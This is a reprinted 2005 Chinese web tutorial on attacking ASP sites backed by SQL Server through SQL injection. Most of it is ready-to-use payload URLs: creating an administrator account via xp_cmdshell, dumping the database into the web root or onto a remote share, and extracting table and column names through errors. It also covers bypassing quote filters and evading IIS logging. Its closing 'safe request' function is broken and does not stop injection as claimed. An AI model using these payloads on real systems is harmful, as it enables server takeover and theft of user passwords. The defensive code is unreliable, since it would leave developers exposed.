通行证: 用户 密码
域名空间  下载中心 社区论坛 信息公告 my小屋
联系我们
设为首页
加入收藏
热门:qq挂机,asp,php,jsp,xml
,sql,.net,编程 程序 网页图象
首页>网络编程>asp专区>正文 中国黑客群攻击美政府网站 拿到部   微软计划开放office文件格式 消除   腾讯联合八部门严厉打击挂机网站   神六载人飞行圆满成功   美国会要求nasa彻底完成空间站建   google中国研究院有望落户清华   深度分析:论雅虎中国的夭折和阿   神六可能于10月13日上午11点发射   盖茨继续当全美首富   adobe ceo痛斥微软 称其管理层从   
热 点 排 行
dll文件下载
qq挂机的n种快速方法
长白山天池怪兽再现 一分钟
腾讯qq调整升级条件 不再诱
ape歌曲的播放、转换和刻录
新开放qq免费挂级网站
qq挂级程序,qq免费挂机源程
刘亦菲 变性人、堕胎,自称
photoshop通道抠图:给秀发
免费把qq炫铃设为本机qq的
用通通通作代理在局域网上
用6位qq注意啦,免费领取6位
超级女声总决赛 现场实况(
用nero制作win98多功能启动
亲身体验!让桌面不再粗糙
推 荐 新 闻
中国黑客群攻击美政府网站
bittorrent被好莱坞招安盗
网站建设中,关键词选择技
神六载人飞行圆满成功
国庆长假上网慎防“移动杀
连环起诉google 传统媒体欲
最强秘籍 ie7最新使用技巧
神六完成总装可接航天器 外
adobe ceo痛斥微软 称其管
微软急调张亚勤回中国 千里
微软宣布重大重组方案 将划
腾讯qq 2005 beta3火热发布
腾讯扩张路线图曝光 陈天桥
腾讯拍拍网正式吹响进军c2
第五届“西湖论剑”文字实
相 关 新 闻
首页>网络编程>asp专区>正文

asp漏洞全接触-高级篇


http://www.iyit.net  日期:2005-11-24 17:25:58  来源:易特网络技术  点击:
第一节、利用系统表注入sqlserver数据库

  sqlserver是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子: 

  ①http://site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”-- 

  分号;在sqlserver中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在sqlserver中将被分成两句执行,先是select出id=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着: 

  ②http://site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”-- 

  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。 

  ③http://site/url.asp?id=1 ;;and db_name()>0 

  前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。 

  ④http://site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;-- 

  这是相当狠的一招,从③拿到的数据库名,加上某些iis出错暴露出的绝对路径,将数据库备份到web目录下面,再用http把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\share\1.db),但成功率不高。 

  ⑤http://site/url.asp?id=1 ;;and (select top 1 name from sysobjects where xtype=’u’ and status>0)>0 

  前面说过,sysobjects是sqlserver的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’u’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。 

  ⑥http://site/url.asp?id=1 ;;and (select top 1 col_name(object_id(‘表名’),1) from sysobjects)>0 

  从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部id,col_name(表名id,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。 

  以上6点是我研究sqlserver注入半年多以来的心血结晶,可以看出,对sqlserver的了解程度,直接影响着成功率及猜解速度。在我研究sqlserver注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。 

  第二节、绕过程序限制继续注入 

  在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对sql注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。 

  在“sql注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入sqlserver数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句: 

  简单的如where xtype=’u’,字符u对应的ascii码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。 

  第三节、经验小结 

  1.有些人会过滤select、update、delete这些关键字,但偏偏忘记区分大小写,所以大家可以用select这样尝试一下。 

  2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。 

  3.特别注意:地址栏的+号传入程序后解释为空格,%2b解释为+号,%25解释为%号,具体可以参考urlencode的相关介绍。 

  4.用get方法注入时,iis会记录你所有的提交字符串,对post方法做则不记录,所以能用post的网址尽量不用get。 

  5.猜解access时只能用ascii逐字解码法,sqlserver也可以用这种方法,只需要两者之间的区别即可,但是如果能用sqlserver的报错信息把值暴露出来,那效率和准确率会有极大的提高。 

  sql注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替asp中的request函数,可以对一切的sql注入say no,函数如下: 

  function saferequest(paraname,paratype) 
  --- 传入参数 --- 
  paraname:参数名称-字符型 
  paratype:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符) 

  dim paravalue 
  paravalue=request(paraname) 
  if paratype=1 then 
  if not isnumeric(paravalue) then 
  response.write "参数" & paraname & "必须为数字型!" 
  response.end 
  end if 
  else 
  paravalue=replace(paravalue,"","") 
  end if 
  saferequest=paravalue 
  end function 

上一篇:asp漏洞全接触-入门篇
下一篇:无组件实现文件上传/下载

[发送给好友] [打印本页] [关闭窗口] [返回顶部] 转载请注明来源:http://www.iyit.net
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
责任编辑: 投稿作者: 易特网络技术
信息来源: 易特网络技术 录入时间: 2005-11-24 17:25:58
浏览次数: 投稿信箱: shtghy@163.com
  友情链接
设置首页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接
copyrights ?2004-2005 iyit.net all rights reserved.
网站合作、广告联系qq:147007642、466949678
易特网络技术 点击这里给我发消息